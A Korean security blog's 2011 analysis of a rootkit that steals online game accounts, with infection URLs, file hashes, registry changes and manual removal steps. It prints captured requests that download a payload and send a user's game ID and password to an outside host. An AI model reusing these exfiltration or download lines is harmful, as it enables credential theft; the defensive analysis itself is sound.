울지않는벌새 : Security, Movie & Society

Audio.sys 후킹을 통한 온라인 게임 계정 탈취 악성코드 (2011.6.26)

벌새::Analysis
주말마다 국내 인터넷 사이트 변조를 통해 특정 소프트웨어 취약점이 존재하는 사용자가 문제의 사이트에 접속시 자동 감염을 유발하여 온라인 게임 계정 탈취 목적의 악성코드를 설치하는 행위가 꾸준하게 이루어지고 있습니다.

이번 주말에는 모 웹하드에서 발견된 루트킷(Rootkit) 방식의 악성코드 감염시 수동으로 해결할 수 있는 방법을 살펴보도록 하겠습니다.

수동 해결 방식을 공개하는 이유는 해당 악성코드 감염시 국내 사용자가 많이 사용하는 보안 제품을 무력화하여 감염시 치료를 방해하기 때문에 임시로 문제 해결을 하도록 하기 위함이므로 해당 방법이 100% 안정성과 제거를 보장하지 않으므로 반드시 임시 해결 후 국내 보안 제품으로 정밀 검사를 하시기 바랍니다.

[악성코드 유포 경로]

h**p://script.share***.co.kr:90/httpRequest.js
 ㄴ h**p://webimg.**box.co.kr/images/comic/popup.htm :: Hauri ViRobot : HTML.S.Exploit.3025
   ㄴ h**p://webimg.**box.co.kr/images/comic/basic.swf :: ALYac 2.0 : Exp/20112110-A
     ㄴ h**p://webimg.**box.co.kr/images/comic/fat.txt (암호화)

해당 악성코드는 웹하드를 중심으로 특정 웹하드가 숙주 서버로 활용되는 사례이며, 해당 웹하드에 접속시 Adobe Flash Player 취약점인 CVE-2011-2110에 대한 보안 패치가 이루어지지 않은 경우 자동으로 감염될 수 있습니다.

CVE-2011-2110 취약점에 대해서는 최근 Adobe Flash Player 업데이트를 통해 보안 패치가 이루어졌으므로 참고하시기 바랍니다.

최종적으로 암호화된 fat.txt 파일이 다운로드되어 실행(MD5 : a325c6e172c34324d7e53df3d363ccc1)이 되는 파일에 대하여 안철수연구소(AhnLab) V3 보안 제품에서는 Trojan/Win32.Agent2 (VirusTotal : 23/42) 진단명으로 진단되고 있습니다.

[생성 파일 등록 정보]

C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\god1.tmp.exe :: 재부팅 후 자가 삭제(※ 해당 파일은 god(숫자).tmp.exe 형태입니다.)
C:\WINDOWS\system32\Audio.sys
C:\WINDOWS\system32\Common.exe
C:\WINDOWS\system32\imm32.dll :: 변경 전 파일 크기 - 110,080 Bytes / 변경 후 - 111,104 Bytes
C:\WINDOWS\system32\imm32.dllsVUOsx.tmp :: imm32.dll 백업 파일(정상), (※ 해당 파일은 imm32.dll(Random 6자리 영문).tmp 형태입니다.)
C:\WINDOWS\system32\LastTimeKey.ini
C:\WINDOWS\system32\win32.dll :: 숨김(H), 시스템(S) 속성
C:\WINDOWS\system32\win32.dll.bbXu.tmp :: lpk.dll 백업 파일(정상), (※ 해당 파일은 win32.dll.(Random 4자리 영문).tmp 형태입니다.)
[생성 파일 진단 정보]

C:\Documents and Settings\(사용자 계정)\Local Settings\Temp\god1.tmp.exe
 - MD5 : 0dfd372ec5e12b4ed44094129857968d
 - Hauri ViRobot : Trojan.Win32.Rootkit.86016 (VirusTotal : 19/42)
※ 해당 파일은 C:\WINDOWS\system32\Common.exe 파일과 동일

C:\WINDOWS\system32\Audio.sys
 - MD5 : 2116d3bb96b19f73dbb15289b644cff3
 - AhnLab V3 : Backdoor/Win32.Rootkit (VirusTotal : 3/41)

C:\WINDOWS\system32\Common.exe
 - MD5 : 0dfd372ec5e12b4ed44094129857968d
 - Hauri ViRobot : Trojan.Win32.Rootkit.86016 (VirusTotal : 19/42)

C:\WINDOWS\system32\imm32.dll
 - MD5 : 558c8010a3e769f6844dfc4a503c3e21
 - AhnLab V3 : Win-Trojan/Patched.DE (VirusTotal : 29/42)

C:\WINDOWS\system32\win32.dll
 - MD5 : 80a987f16dc02b148c181160475888b8
 - AhnLab V3 : Win-Trojan/Onlinegamehack.101376.BE (VirusTotal : 26/41)

감염된 PC에서는 최초 [C:\Documents and Settings\(사용자 계정)\Local Settings\Temp] 폴더 내부에 god(숫자).tmp.exe 파일을 생성하여 메모리에 상주하며, 사용자가 시스템 재부팅시 [C:\WINDOWS\system32\Common.exe] 파일로 복제를 하고 자신은 삭제 처리가 되도록 구성되어 있습니다.

GET /20110624.exe HTTP/1.1
Host:m.gzjian***.com
Accept:*/*
User-Agent:Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Connection:Keep-Alive


또한 god(숫자).tmp.exe 파일은 설치 후 미국(USA)에 위치한 특정 서버(174.1**.253.1**:80)에 접속하여 추가적인 다운로드를 통한 악성 파일을 생성하는 동작이 이루어지고 있습니다.

시스템 재부팅 후 생성된 Common.exe 프로세스는 메모리에 상주하며, 알약(ALYac), AhnLab V3, 네이버 백신(Naver Vaccine), 바이러스 체이서(Virus Chaser) 보안 제품 기능을 무력화하여 정상적인 동작이 이루어지지 않도록 하는 AVKiller 기능을 포함하고 있습니다.

또한 커널 모드 후킹을 통한 C:\WINDOWS\system32\Audio.sys 드라이버 파일은 서비스에 등록되지만 루트킷 방식의 백도어(Backdoor)로 사용자 입장에서는 정상적인 오디오 관련 파일로 오해를 유발하며 사용자가 잘못된 절차에 따라 삭제시 블루스크린(BSoD), 부팅 중지 등 치명적인 오류를 유발할 수 있습니다.

해당 악성코드는 기존과 마찬가지로 정상적인 시스템 파일 imm32.dll(Windows XP IMM32 API Client DLL)을 패치하며, 정상 파일은 [C:\WINDOWS\system32\imm32.dll(Random 6자리 영문).tmp] 파일로 백업을 합니다.

특히 온라인 게임 계정 탈취 기능을 포함한 [C:\WINDOWS\system32\win32.dll] 파일은 숨김 속성으로 등록하여 다음과 같이 폴더 옵션을 변경하여 파일을 확인할 수 있습니다.(※ 해당 악성코드가 노리는 온라인 게임은 아이온, 다크블러드, 한게임, 리니지, 넷마블, 피망 등입니다.)

폴더 옵션의 [보호된 운영 체제 파일 숨기기] 항목을 체크 해제하시고, [숨김 파일 및 폴더 표시]에 체크를 하시기 바랍니다.

또한 [C:\WINDOWS\system32\win32.dll.(Random 4자리 영문).tmp] 파일은 패치되지 않은 정상적인 lpk.dll(Language Pack) 시스템 파일의 백업 파일이므로 참고하시기 바랍니다.

이런 악성코드에 감염된 사용자는 모든 프로그램을 종료한 상태에서 다음과 같은 절차에 따라 수동으로 문제를 해결하신 후, 반드시 국내 보안 제품을 이용하여 정밀 검사를 추가로 하시기 바랍니다.(※ 보안 업체에서 제공하는 전용 백신으로 문제를 해결하실 수 있습니다.)

1. Common.exe 프로세스 종료

작업 관리자를 실행하여 메모리에 상주하는 Common.exe(C:\WINDOWS\system32\Common.exe) 프로세스를 종료하려고 하면 종료가 이루어지지 않습니다. 특히 Process Explorer, GMER과 같은 툴을 이용하여도 해당 프로세스 종료가 이루어지지 않습니다.

그러므로 Process Hacker 또는 IceSword 프로그램을 추가로 설치하여 해당 프로세스를 수동으로 종료하시기 바랍니다.

2. Common.exe 파일 삭제

Common.exe 프로세스 종료가 이루어진 상태에서 윈도우 탐색기를 통한 Common.exe 파일을 삭제하려고 하면 삭제가 이루어지지 않습니다.

그러므로 GMER 툴을 추가로 다운로드하여 Files 탭에서 [C:\WINDOWS\system32\Common.exe] 파일을 찾아 삭제(Delete)를 하시기 바랍니다.

3. 변경된 레지스트리 수정

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
 - load = :: 변경 전
 - load = C:\WINDOWS\system32\Common.exe :: 변경 후

레지스트리 편집기(regedit)를 실행하여 해당 레지스트리 값을 찾아 변경 전으로 수정을 하시기 바랍니다.

만약 해당 레지스트리 값을 수정하지 않고 시스템 재시작을 할 경우 Common.exe 파일을 찾을 수 없다는 메시지 창이 매번 생성되는 문제가 발생합니다.

4. 악성 파일(imm32.dll / win32.dll) 확장자 변경

  • C:\WINDOWS\system32\imm32.dll → imm32.dll-
  • C:\WINDOWS\system32\win32.dll → win32.dll-

윈도우 탐색기를 통해 해당 파일의 확장자명을 변경하시기 바라며, imm32.dll 파일 확장자 변경시에는 윈도우 파일 보호(WFP) 기능으로 원래의 정상적인 imm32.dll 파일이 복원되므로 윈도우 탐색기를 종료 후 재실행하여 imm32.dll 파일이 복원되었는지 반드시 체크하시기 바랍니다.

5. 파일 및 레지스트리 삭제

  • C:\WINDOWS\system32\imm32.dllsVUOsx.tmp
  • C:\WINDOWS\system32\win32.dll.bbXu.tmp
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Audio Control
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Audio Control

해당 파일과 레지스트리를 수동으로 삭제하시기 바랍니다.

6. 시스템 재부팅

7. 파일 및 레지스트리 삭제

  • C:\WINDOWS\system32\Audio.sys
  • C:\WINDOWS\system32\imm32.dll-
  • C:\WINDOWS\system32\win32.dll-
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ESENT\Process\ipconfig
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ESENT\Process\ipconfig\DEBUG
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\Root\LEGACY_AUDIO_CONTROL
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\
    LEGACY_AUDIO_CONTROL

윈도우 탐색기를 이용하여 해당 파일을 수동으로 삭제하시고, 추가적으로 레지스트리를 삭제하시기 바랍니다.

그림과 같이 특정 레지스트리 값이 삭제되지 않는 경우에는 다음과 같은 절차에 따라 삭제를 하시기 바랍니다.

삭제되지 않는 상위 레지스트리 값에 마우스 우클릭을 통한 [사용 권한] 메뉴를 선택하여 Everyone 그룹(사용자 이름)의 사용 권한에서 [모든 권한]을 허용하도록 체크를 하시고 삭제를 진행하시기 바랍니다.

8. 변경된 레지스트리 수정

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
 - AppInit_DLLs = :: 변경 전
 - AppInit_DLLs = win32.dll :: 변경 후

레지스트리 편집기를 통해 해당 레지스트리 값을 변경 전 값으로 수정하시기 바랍니다.

9. 시스템 재부팅

참고로 해당 악성코드에 감염된 경우 온라인 게임 계정 정보가 대만(TW)에 위치한 특정 서버(211.20.209.73)로 전송이 이루어지는 것을 확인할 수 있습니다.

[넷마블 게임 계정 탈취 예시]

GET /b2c/net/post.asp?Game=08&para=yy6bd&ves=009&d00=NAIMA&d01=NAIMA&d10=(사용자 ID)&d11=(비밀번호)&d21=&d30=&d31=&d32=~(생략)~=0&d50=&d90=1691 HTTP/1.1
User-Agent: IE6.0
Host: 020jianren.com:4899

그러므로 감염된 사용자는 추가적으로 자신이 가입한 온라인 게임 계정 비밀번호를 변경하시기 바랍니다.